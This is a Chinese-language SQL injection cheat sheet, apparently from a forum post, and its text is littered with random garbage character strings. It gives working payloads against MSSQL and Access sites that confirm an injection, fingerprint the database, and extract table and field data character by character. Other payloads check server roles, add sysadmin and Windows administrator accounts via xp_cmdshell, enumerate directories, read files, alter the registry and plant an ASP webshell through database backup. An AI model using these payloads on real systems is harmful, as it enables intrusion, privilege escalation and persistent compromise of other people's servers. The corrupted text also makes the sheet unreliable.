手工脚本注入
4 v* y0 j3 W, T: F1.判断是否有注入;and 1=1 ;and 1=2
& Q7 a. J' f8 ]" {' f( Q4 k% y* d& H- _/ l1 g
2.初步判断是否是mssql ;and user>0 7 ~+ o, ^9 V: n) o+ d
, C" b% j( b9 B
3.注入参数是字符'and [查询条件] and ''=' ) q. v5 e9 C( I1 p- i; E
$ z1 B6 ?& X9 {* G2 h* r
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6 S2 e6 D' c- v" d% m
; f$ r" T/ q+ N; U2 G
5.判断数据库系统
5 A6 M/ r, j, @8 e" e7 I5 b;and (select count(*) from sysobjects)>0 mssql
2 E7 p0 p: ]2 \. [;and (select count(*) from msysobjects)>0 access
6 A; }* [7 X4 b; J& ]+ N0 q+ i* O
6.猜数据库 ;and (select Count(*) from [数据库名])>0 * r. |2 {+ ?" K+ h
, j3 ]! Q6 Q* Q& c! q& d0 ?6 n: y7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6 P% P3 ]5 H! G2 c
4 {4 R. x: c' D& {5 P
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 , K8 W* s) Z4 G$ W9 D; X
' {7 ~. a7 l S7 k, K3 ~9.(1)猜字段的ascii值(access) ; F4 a% X& R- M/ C
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ! P5 |0 C8 {4 l# T- \
( W" U( T9 X D* Z5 q0 ^) \( O, y(2)猜字段的ascii值(mssql)
9 E4 K4 X- u) z0 v+ {;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 6 M; n2 [: v7 T/ [
, N1 f0 L4 E6 Q! r$ H
10.测试权限结构(mssql)
4 r% a: E" j7 j% l;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
$ {8 f: o3 x2 e6 O: @; a6 R9 H. m" `;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
8 x3 f# L8 h9 w;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; B3 m F, C1 T: _
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7 I0 J1 z: G1 C8 U
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* s# E5 }, b9 Y G;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- , _1 T1 i" U- m. G+ Z
;and 1=(select IS_MEMBER('db_owner'));--
: I/ U- L: F/ d6 L* x. n" r* d3 Y
+ y2 N J" L/ c6 r" h) n11.添加mssql和系统的帐户 , o5 J. b% t0 i9 E$ f
;exec master.dbo.sp_addlogin username;-- % c! r" z1 t" S$ k% V
0 [ m9 O. B* v, ];exec master.dbo.sp_password null,username,password;--
7 w% G& ?8 Z$ G W
/ t3 Z" y; l+ Z' K! B;exec master.dbo.sp_addsrvrolemember sysadmin username;-- " x) J1 v* z6 g& x7 A
, T& c, _+ `9 L: X& H9 _1 ?3 v+ w
;exec master.dbo.xp_cmdshell 'net user username password 4 ?: ~3 D; e; I. C0 J9 ?
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
# M8 X8 V9 i$ p0 p$ H( q
# h y, j$ d1 y! N;exec master.dbo.xp_cmdshell 'net user username password /add';--
& Q+ Z2 Q0 a/ E/ j2 W q
0 w( X4 R- d4 ~& r;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 B; E- f7 H; i5 {* L; B# J" t. A3 H ~" d
12.(1)遍历目录
) @3 t x5 [6 Q5 w( b1 [' K8 }: j$ m Y3 @$ m; j
;create table dirs(paths varchar(100), id int) / n- S6 E2 p6 x7 G5 G
;insert dirs exec master.dbo.xp_dirtree 'c:\'
2 l! ?" U( {: {. ]- N;and (select top 1 paths from dirs)>0
! O/ T: U. Z5 s$ S: A& b;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
% L3 y$ g( @, {4 @7 p' N' B* V5 J$ M
(2)遍历目录
4 a$ _- s/ g" t9 E$ O;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7 T8 {5 f: s% E! Y* z( e9 `
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 % a. L9 `* N+ T0 D1 J0 L u
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 # k: D& Y5 E' ^3 m, I+ l7 p
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
( w q6 p9 v# Q J+ h: o, r;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
# r) V' U* `! T @1 S5 B9 v: `- f- [8 _1 c" M6 S2 @/ e% ~
13.mssql中的存储过程
' P$ u0 n( C: \5 `
' a: O* \" ], f ^xp_regenumvalues 注册表根键, 子键 . Y1 n( x8 y/ j- w
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
( L. J: v/ l$ a0 Y5 h5 M5 y% z& _ v$ h, O
xp_regread 根键,子键,键值名 " C$ F$ O, h- |+ U8 o4 z: r" B/ q
;exec xp_regread * N0 w7 J0 Q* W0 S
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
n- k/ L0 }0 I: \; t" R4 `+ H* f( P+ \' n6 R6 v: P2 g
xp_regwrite 根键,子键, 值名, 值类型, 值 \& ?7 r+ w* g* a0 o
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - A7 X7 r2 f; K7 e. v6 r0 s( Q- \: T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 g+ |( O; w1 K/ R: _/ M
+ X2 B' J; c T6 {; txp_regdeletevalue 根键,子键,值名
/ w% n) V4 Z% J0 o- q
5 ?8 W% S" a) ^; s7 rexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
: ?( F' r9 E+ g+ F% f
" u" k! s6 p* j8 Q" P, uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
; R, ?' L1 k" ]3 r7 s, b4 o6 x
/ R1 f: `/ l R14.mssql的backup创建webshell
, }) e7 w5 u5 {9 P9 y; suse model
& P/ D4 L# _' K3 e& }4 Kcreate table cmd(str image); 4 p* u- x9 g* E# O0 p! Y% D! P* Z: L
insert into cmd(str) values ('');
4 I, g. U% t) S* m, Z6 ?! t) nbackup database model to disk='c:\l.asp';
~& f1 G% w7 N5 ~, R6 z, ^7 V5 k3 Y9 C5 P$ {' U( U. F
15.mssql内置函数 5 |3 |6 \2 S* ?( G, H+ y. B
;and (select @@version)>0 获得Windows的版本号 4 B8 O: M$ [/ F) i7 Y! H f
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2 v' W! X$ f- s/ w. O" q' x+ Y
;and (select user_name())>0 爆当前系统的连接用户
# \9 @/ v R ? h;and (select db_name())>0 得到当前连接的数据库 * a( T( a- w( P/ n+ H9 x* e
4 |/ N1 j# I; Q7 l
16.简洁的webshell 6 U; x* ?. Z/ t% B3 V
0 I, D) v% W! l
use model ' E+ a, L1 R+ ^6 t X
6 t( n& U' P) t/ m! c1 ]create table cmd(str image); 0 }( W% Q- O* }8 a7 z6 W; V. y. n
T7 l" t" g& Y) o9 finsert into cmd(str) values ('');
; u* M- j+ P$ U9 S# x$ R' e( ]$ E2 m" w
4 i" X$ E5 f! {% S/ z& @, \backup database model to disk='g:\wwwtest\l.asp';
+ `. H* ?8 L# u& S; O- w - x2 m! l% O0 j& i {7 R
|